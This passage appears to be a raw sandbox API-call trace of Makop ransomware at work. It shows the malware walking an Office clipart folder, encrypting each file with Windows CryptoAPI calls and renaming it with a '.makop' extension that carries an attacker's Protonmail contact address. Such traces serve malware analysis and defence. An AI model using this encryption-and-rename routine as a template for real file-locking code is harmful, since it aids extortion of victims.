(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.551] GetProcessHeap () returned 0x48a0000 [0133.551] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.551] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.552] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.552] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.552] GetProcessHeap () returned 0x48a0000 [0133.552] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.552] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.552] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.552] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.556] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.556] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.556] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.556] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.557] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3550, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3550, lpOverlapped=0x0) returned 1 [0133.558] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3550, dwBufLen=0x3550 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3550) returned 1 [0133.558] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.558] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3550, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3550, lpOverlapped=0x0) returned 1 [0133.559] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.559] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.559] SetEndOfFile (hFile=0xf0) returned 1 [0133.566] GetProcessHeap () returned 0x48a0000 [0133.566] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.566] GetProcessHeap () returned 0x48a0000 [0133.566] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.566] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.568] CloseHandle (hObject=0xf0) returned 1 [0133.568] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1 [0133.569] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF") returned 63 [0133.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.571] GetProcessHeap () returned 0x48a0000 [0133.571] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.571] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.571] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.571] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0133.576] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.576] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.576] GetProcessHeap () returned 0x48a0000 [0133.576] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.576] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.576] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.576] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.576] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.576] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.577] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.577] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.577] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.577] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.577] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23f4, lpOverlapped=0x0) returned 1 [0133.579] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2400, dwBufLen=0x2400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2400) returned 1 [0133.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.579] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2400, lpOverlapped=0x0) returned 1 [0133.579] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.626] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x24d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.626] SetEndOfFile (hFile=0xf0) returned 1 [0133.634] GetProcessHeap () returned 0x48a0000 [0133.634] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.634] GetProcessHeap () returned 0x48a0000 [0133.634] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.634] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.636] CloseHandle (hObject=0xf0) returned 1 [0133.636] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1 [0133.636] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF") returned 63 [0133.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.637] GetProcessHeap () returned 0x48a0000 [0133.637] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.637] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.637] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.637] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.637] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.637] GetProcessHeap () returned 0x48a0000 [0133.637] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.637] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.637] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.638] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.642] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.642] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.643] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.643] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.643] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.643] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.644] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2210, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2210, lpOverlapped=0x0) returned 1 [0133.645] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2210, dwBufLen=0x2210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2210) returned 1 [0133.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.645] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2210, lpOverlapped=0x0) returned 1 [0133.646] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x22e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.646] SetEndOfFile (hFile=0xf0) returned 1 [0133.653] GetProcessHeap () returned 0x48a0000 [0133.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.653] GetProcessHeap () returned 0x48a0000 [0133.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.653] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.654] CloseHandle (hObject=0xf0) returned 1 [0133.655] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1 [0133.655] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF") returned 63 [0133.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.659] GetProcessHeap () returned 0x48a0000 [0133.659] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.659] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.659] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.659] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.659] GetProcessHeap () returned 0x48a0000 [0133.660] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.660] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.660] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.660] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.666] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.666] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.666] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x21a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x21a0, lpOverlapped=0x0) returned 1 [0133.668] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21a0, dwBufLen=0x21a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21a0) returned 1 [0133.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x21a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x21a0, lpOverlapped=0x0) returned 1 [0133.669] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.669] SetEndOfFile (hFile=0xf0) returned 1 [0133.676] GetProcessHeap () returned 0x48a0000 [0133.676] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.676] GetProcessHeap () returned 0x48a0000 [0133.676] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.676] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.678] CloseHandle (hObject=0xf0) returned 1 [0133.678] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1 [0133.679] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF") returned 63 [0133.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), 